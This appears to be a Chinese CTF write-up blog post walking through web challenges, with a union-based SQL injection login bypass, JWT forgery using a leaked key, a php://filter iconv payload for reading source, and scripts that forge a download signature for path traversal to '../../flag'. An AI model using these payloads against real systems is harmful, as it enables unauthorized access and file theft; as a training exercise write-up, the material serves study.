SecretPhotoGallery
讨厌黑盒题
0x01 万能密码
题目描述说存在sqlite sql注入但数据库为空

确实用sqlmap跑了半天啥也没有,想到万能密码但是没打进去,直到把sqlmap level参数调高一点有了新发现

抓一下包看看怎么进去的


第一次见联合查询的万能密码,不知道后端咋写的,稍微修改一下payload
1
|
username=111' union select null,null,null --&password=111
|

0x02 jwt越权
看来是要越权,看一下cookie是jwt格式的,密钥居然藏在注释里,也是够无聊的

拼接一下
签一下admin,我更喜欢用老版的


0x03 文件包含

又到了猜flag位置的环节,包含到flag.php时有了内容但不全

猜测是藏到注释里了,需要用伪协议读一下

base64、rot13都被过滤了,随便换一个编码就行
1
|
php://filter/read=convert.iconv.utf8.utf16/resource=flag.php
|

devweb
没做出来复现一下
0x01 /login
开局一个登录框没什么用

f12发现超大js

可以从路由入手,先找到/login的逻辑

丢给gpt

密码用RSA公钥加密后又进行了一次base64,公钥给了(在/login注释附近)
1
|
//publicKey:"MIGeMA0GCSqGSIb3DQEBAQUAA4GMADCBiAKBgGyAKgwgFtRvud51H9otkcAxKh/8/iIlj3WlPJ0RL1pDtRvyMu5/edP84Mp9FqnZNCXKi1042pd4Y2Bf9QT0/z1i6KPiZ8zT3XNTtPOqIHO5aVaOfAl8lr52AurMZVpXwEUS2hh+Q/AN4/SV9AZPCgrUXk619aaw0Md9MNvn3w0JAgMBAAE="
|
编写脚本并发包
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
|
import base64
from cryptography.hazmat.primitives.serialization import load_der_public_key
from cryptography.hazmat.primitives.asymmetric import padding
from cryptography.hazmat.primitives import hashes
public_key_b64 = (
"MIGeMA0GCSqGSIb3DQEBAQUAA4GMADCBiAKBgGyAKgwgFtRvud51H9otkcAxKh/8/"
"iIlj3WlPJ0RL1pDtRvyMu5/edP84Mp9FqnZNCXKi1042pd4Y2Bf9QT0/z1i6KPiZ"
"8zT3XNTtPOqIHO5aVaOfAl8lr52AurMZVpXwEUS2hh+Q/AN4/SV9AZPCgrUXk619"
"aaw0Md9MNvn3w0JAgMBAAE="
)
password = "123456"
public_key_der = base64.b64decode(public_key_b64)
public_key = load_der_public_key(public_key_der)
encrypted_bytes = public_key.encrypt(
password.encode("utf-8"),
padding.PKCS1v15()
)
encrypted_b64 = base64.b64encode(encrypted_bytes).decode()
print("最终密文:")
print(encrypted_b64)
|
重定向到/dashboard

但有了cookie

0x02 /download
继续寻找路由发现了/download

有了上面的cookie尝试访问一下
1
|
/download?file=app.jmx&sign=6f742c2e79030435b7edc1d79b8678f6
|
下载了这么个东西
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
|
<?xml version='1.0' encoding='UTF-8'?>
<jmeterTestPlan version="1.2" properties="5.0" jmeter="5.0">
<hashTree>
<TestPlan guiclass="TestPlanGui" testclass="TestPlan" testname="Download Test with Parameters" enabled="true">
<stringProp name="TestPlan.functional_mode">false</stringProp>
<boolProp name="TestPlan.serialize_threadgroups">false</boolProp>
<elementProp name="TestPlan.user_defined_variables" elementType="Arguments" guiclass="ArgumentsPanel" testclass="Arguments" testname="User Defined Variables" enabled="true">
<collectionProp name="Arguments.arguments">
<elementProp name="" elementType="Argument" guiclass="HTTPArgumentPanel" testclass="Argument" testname="mingWen" enabled="true">
<stringProp name="Argument.name">mingWen</stringProp>
<stringProp name="Argument.value">test</stringProp>
<stringProp name="Argument.metadata">=</stringProp>
</elementProp>
<elementProp name="" elementType="Argument" guiclass="HTTPArgumentPanel" testclass="Argument" testname="salt" enabled="true">
<stringProp name="Argument.name">salt</stringProp>
<stringProp name="Argument.value">f9bc855c9df15ba7602945fb939deefc</stringProp>
<stringProp name="Argument.metadata">=</stringProp>
</elementProp>
</collectionProp>
</elementProp>
<stringProp name="TestPlan.comments_or_notes"/>
<boolProp name="TestPlan.serialize_threadgroups">true</boolProp>
</TestPlan>
<hashTree>
<ThreadGroup guiclass="ThreadGroupGui" testclass="ThreadGroup" testname="User Group" enabled="true">
<stringProp name="ThreadGroup.on_sample_error">continue</stringProp>
<elementProp name="ThreadGroup.main_controller" elementType="LoopController" guiclass="LoopControlPanel" testclass="LoopController" testname="Loop Controller" enabled="true">
<boolProp name="LoopController.continue_forever">false</boolProp>
<intProp name="LoopController.loops">1</intProp>
</elementProp>
<stringProp name="ThreadGroup.num_threads">1</stringProp>
<stringProp name="ThreadGroup.ramp_time">1</stringProp>
<longProp name="ThreadGroup.start_time">0</longProp>
<longProp name="ThreadGroup.end_time">0</longProp>
<boolProp name="ThreadGroup.scheduler">false</boolProp>
<stringProp name="ThreadGroup.duration"></stringProp>
<stringProp name="ThreadGroup.delay"></stringProp>
<boolProp name="ThreadGroup.same_user_on_next_iteration">true</boolProp>
</ThreadGroup>
<hashTree>
<JSR223PreProcessor guiclass="JSR223Panel" testclass="JSR223PreProcessor" testname="Calculate Sign" enabled="true">
<stringProp name="JSR223PreProcessor.language">groovy</stringProp>
<stringProp name="JSR223PreProcessor.parameters">import org.apache.commons.codec.digest.DigestUtils;</stringProp>
<stringProp name="JSR223PreProcessor.reset_vars">false</stringProp>
<stringProp name="JSR223PreProcessor.clear_stack">false</stringProp>
<stringProp name="JSR223PreProcessor.script">
def mingWen = vars.get('mingWen');
def firstMi = DigestUtils.md5Hex(mingWen);
def jieStr = firstMi.substring(5, 16);
def salt = vars.get('salt');
def newStr = firstMi + jieStr + salt;
def sign = DigestUtils.md5Hex(newStr);
vars.put('sign', sign);
</stringProp>
</JSR223PreProcessor>
<hashTree/>
<HTTPSamplerProxy guiclass="HttpTestSampleGui" testclass="HTTPSamplerProxy" testname="Download File" enabled="true">
<boolProp name="HTTPSampler.postBodyRaw">false</boolProp>
<stringProp name="Comment"/>
<elementProp name="HTTPsampler.Arguments" elementType="Arguments" guiclass="HTTPArgumentsPanel" testclass="Arguments" testname="User Defined Variables" enabled="true">
<collectionProp name="Arguments.arguments">
<elementProp name="" elementType="Argument" guiclass="HTTPArgumentPanel" testclass="Argument" testname="file" enabled="true">
<stringProp name="Argument.name">file</stringProp>
<stringProp name="Argument.value">test</stringProp>
<stringProp name="Argument.metadata">=</stringProp>
</elementProp>
<elementProp name="" elementType="Argument" guiclass="HTTPArgumentPanel" testclass="Argument" testname="sign" enabled="true">
<stringProp name="Argument.name">sign</stringProp>
<stringProp name="Argument.value">${sign}</stringProp>
<stringProp name="Argument.metadata">=</stringProp>
</elementProp>
</collectionProp>
</elementProp>
<stringProp name="HTTPSampler.domain">localhost</stringProp>
<stringProp name="HTTPSampler.port">8080</stringProp>
<stringProp name="HTTPSampler.protocol">http</stringProp>
<stringProp name="HTTPSampler.contentEncoding">UTF-8</stringProp>
<stringProp name="HTTPSampler.path">/download</stringProp>
<stringProp name="HTTPSampler.method">GET</stringProp>
<boolProp name="HTTPSampler.follow_redirects">true</boolProp>
<boolProp name="HTTPSampler.auto_redirects">false</boolProp>
<boolProp name="HTTPSampler.use_keepalive">true</boolProp>
<boolProp name="HTTPSampler.DO_MULTIPART_POST">false</boolProp>
<stringProp name="HTTPSampler.body_data"/>
<boolProp name="HTTPSampler.bypass_proxy">false</boolProp>
<stringProp name="HTTPSampler.proxy_host"/>
<stringProp name="HTTPSampler.proxy_port"/>
<stringProp name="HTTPSampler.proxy_username"/>
<stringProp name="HTTPSampler.proxy_password"/>
<stringProp name="HTTPSampler.implementation">HttpClient4</stringProp>
</HTTPSamplerProxy>
<hashTree/>
</hashTree>
</hashTree>
</hashTree>
</jmeterTestPlan>
|
丢给ai

改成python脚本
1
2
3
4
5
6
7
8
9
10
11
12
13
|
import hashlib
def calc_sign(mingwen, salt):
first_md5 = hashlib.md5(mingwen.encode()).hexdigest()
jie_str = first_md5[5:16]
new_str = first_md5 + jie_str + salt
return hashlib.md5(new_str.encode()).hexdigest()
mingWen = "app.jmx"#修改成文件名即可
salt = "f9bc855c9df15ba7602945fb939deefc"
sign = calc_sign(mingWen, salt)
print(sign)
|
0x03 ../../flag
在../../flag找到flag
1
|
/download?file=../../flag&sign=0e8eb4d606b21517ca7f9bee140c9db6
|
参考文章:https://mp.weixin.qq.com/s/CCsdqEK_HOlE4eXj7QDEnQ
Sunset
0解题等待wp…